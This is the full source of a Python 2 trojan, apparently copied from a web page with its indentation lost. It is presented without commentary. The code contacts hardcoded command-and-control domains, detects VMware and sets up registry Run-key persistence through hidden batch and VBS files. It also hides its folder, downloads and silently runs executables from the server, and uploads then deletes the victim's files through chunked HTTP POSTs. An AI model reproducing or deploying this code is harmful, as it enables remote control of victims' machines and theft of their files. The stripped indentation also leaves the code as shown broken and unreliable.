from urllib2 import urlopen
from urllib import urlencode
from glob import glob
from os import path
from os import makedirs
from os import remove
from fileinput import FileInput
from socket import gethostname
from time import sleep
from time import time
from os import popen2
from os import popen
from re import findall
from re import IGNORECASE
from psutil import get_pid_list
from psutil import Process
from sys import exit
from sys import argv
from httplib import HTTPConnection
from os import getpid
from os import kill
def getserver1():
srv = "games-playbox.com"
try:
code1 = urlopen('http://worldvoicetrip.com/games/index.html')
code2 = code1.read()
if int(code2) == 1:
code3 = urlopen('http://worldvoicetrip.com/games/domain.html')
code4 = code3.read()
return code4
else:
return srv
except:
return srv
pass
foldername = "/winone1"
dir1 = "c:\\dir\\"
dir3 = "c:\\dir"
dir2 = "c:\\dir\\dir2\\"
dir4 = "dir2"
_file = path.abspath(argv[0])
fpath = path.dirname(path.realpath(_file))
file17 = path.basename(_file)
def SysInfo():
values = {}
cache = popen2("SYSTEMINFO")
source = cache[1].read()
sysOpts = ["System Model"]
for opt in sysOpts:
values[opt] = [item.strip() for item in findall("%s:\w*(.*?)\n" % (opt), source, IGNORECASE)][0]
return values
try:
sysinfo1 = SysInfo()
sysinfo2 = str(sysinfo1)
except:
sysinfo2 = "Test"
pass
if sysinfo2.find("VMware") <> -1:
print "VMware"
#exit()
pcount = 0
xx = get_pid_list()
myid = getpid()
for i in xx:
try:
pro = Process(i).name
if pro.find(file17) <> -1:
if i != myid:
p = i
pcount = pcount + 1
except:
continue
if pcount > 2:
exit()
try:
kill(p, 9)
except:
pass
class ChunkedEncodingWrapper(object):
def __init__(self, fileobj, blocksize=102400):
self.fileobj = fileobj
self.blocksize = blocksize
self.current_chunk = ""
self.closed = False
def read(self, size=None):
ret = ""
while size is None or size >= len(self.current_chunk):
ret += self.current_chunk
if size is not None:
size -= len(self.current_chunk)
if self.closed:
self.current_chunk = ""
break
self._get_chunk()
else:
ret += self.current_chunk[:size]
self.current_chunk = self.current_chunk[size:]
return ret
def _get_chunk(self):
if not self.closed:
chunk = self.fileobj.read(self.blocksize)
if chunk:
self.current_chunk = "%x" % (len(chunk),) + "\r\n" + chunk + "\r\n"
else:
self.current_chunk = "0\r\n\r\n"
self.closed = True
if not path.exists(dir1):
makedirs(dir1)
if not path.exists(dir2):
makedirs(dir2)
try:
batch = open(dir2+'run.bat','wb')
bat2='REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Search /t REG_SZ /d "%s%s" /f'%(dir2,file17)
batch.write(bat2)
batch.close()
f1 = open(dir2+'run.vbs','wb')
data12='Set WshShell = CreateObject("WScript.Shell" )\n'
data12+='WshShell.Run chr(34) & "'+dir2+'run.bat" & Chr(34), 0\n'
data12+='Set WshShell = Nothing'
f1.write(data12)
f1.close()
the_output = popen(dir2+"run.vbs").read()
except:
pass
the_output = popen("attrib +h +s %s"%(dir3)).read()
the_output = popen("copy %s %s"%(file17,dir2)).read()
cname = gethostname()
def splitFile(inputFile,chunkSize,basename1):
f = open(inputFile, 'rb')
data = f.read()
f.close()
bytes = len(data)
noOfChunks= bytes/chunkSize
if(bytes%chunkSize):
noOfChunks+=1
f = open(inputFile+'-info.txt', 'w')
f.write(basename+','+str(noOfChunks))
f.close()
chunkNames = []
j = 0
for i in range(0, bytes+1, chunkSize):
j = j + 1
fn1 = inputFile+"-%s" % j
chunkNames.append(fn1)
f = open(fn1, 'wb')
f.write(data[i:i+ chunkSize])
f.close()
getserver = getserver1()
def runfile(ext):
sleep(2)
data2len = len(ext)
if data2len <> 0:
try:
if dfile.find(file17) == -1:
f1 = open(dir2+'run.vbs','wb')
data12='Set WshShell = CreateObject("WScript.Shell" )\n'
data12+='WshShell.Run chr(34) & "'+ext+'" & Chr(34), 0\n'
data12+='Set WshShell = Nothing'
f1.write(data12)
f1.close()
size1 = path.getsize(ext)
if size1 <> 0:
the_output = popen(dir2+"run.vbs").read()
remove(dir2+"run.vbs")
else:
remove(dfile)
except:
pass
def dex(cname):
try:
dfiles5 = urlopen("http://"+ getserver + foldername+ "/online.php?sysname="+cname+"")
dfiles6 = dfiles5.read()
dfiles7 = dfiles6.split(';')
data7len = len(dfiles6)
if data7len <> 0:
for dfile in dfiles7:
try:
f5 = urlopen("http://"+ getserver + foldername+ "/download/%s"%dfile)
output1=open(dir2+"%s"%dfile,'wb')
output1.write(f5.read())
output1.close()
dfile = dir2+dfile
runfile(dfile)
except:
continue
except:
pass
def dex1():
try:
dfiles12 = urlopen("http://"+ getserver + foldername+ "/getfile.php")
dfiles11 = dfiles12.read()
dfiles13 = dfiles1.split(';')
files11 = glob(dir2+"*")
for dfile14 in dfiles13:
try:
if not (dfile14 in files11):
f11 = urlopen("http://"+ getserver + foldername+ "/download/%s"%dfile14)
output11=open(dir2+"%s"%dfile14,'wb')
output11.write(f11.read())
output11.close()
dfile = ''
dfile = dir2+dfile14
runfile(dfile)
except:
continue
except:
pass
try:
urlopen("http://"+ getserver + foldername+ "/post.php?filename=&folder="+cname+"//")
dfiles2 = urlopen("http://"+ getserver + foldername+ "/getfile.php")
dfiles1 = dfiles2.read()
datalen3 = len(dfiles1)
if datalen3 == 0:
dfiles = ''
dfiles = glob(dir2+"*.exe")
for dfile in dfiles:
try:
runfile(dfile)
except:
continue
else:
dfiles = dfiles1.split(';')
for dfile in dfiles:
try:
f = urlopen("http://"+ getserver + foldername+ "/download/%s"%dfile)
output=open(dir2+"%s"%dfile,'wb')
output.write(f.read())
output.close()
dfiles = ''
dfiles = dir2+"%s"%(dfile)
runfile(dfiles)
except:
continue
except:
dfiles = ''
dfiles = glob(dir2+"*.exe")
for dfile in dfiles:
try:
runfile(dfile)
except:
continue
remove(dir2+"run.bat")
print "Enting While"
time1 = int(time())
count = 0
while True:
try:
time2 = int(time())
tdif = time2 - time1
if tdif > 3600:
dex1()
time1 = int(time())
sleep (1)
count = count + 1
files = glob(dir1+"*")
if count > 120 :
urlopen("http://"+ getserver + foldername+ "/post.php?filename=&folder="+cname+"//")
dex(cname)
count = 0
for file1 in files:
try:
if file1.find(dir4) <> -1:
continue
try:
myfile = open(file1, "r+")
except:
continue
myfile.close()
basename = path.basename(file1)
size = path.getsize(file1)
if size > 105163101 :
splitFile(file1,105163101,basename)
remove(file1)
data = open(file1,"rb")
w = ChunkedEncodingWrapper(data)
v = urlencode({'filename': basename})
x = urlencode({'folder': cname})
headers = {"Transfer-Encoding": "chunked"}
c = HTTPConnection(getserver)
c.request("POST", "%s/post.php?%s&%s/"%(foldername,v,x), w, headers)
data.close()
remove(file1)
dex(cname)
count = 0
time2 = int(time())
tdif = time2 - time1
if tdif > 3600:
dex1()
time1 = int(time())
except:
pass
except:
pass
Leave a Reply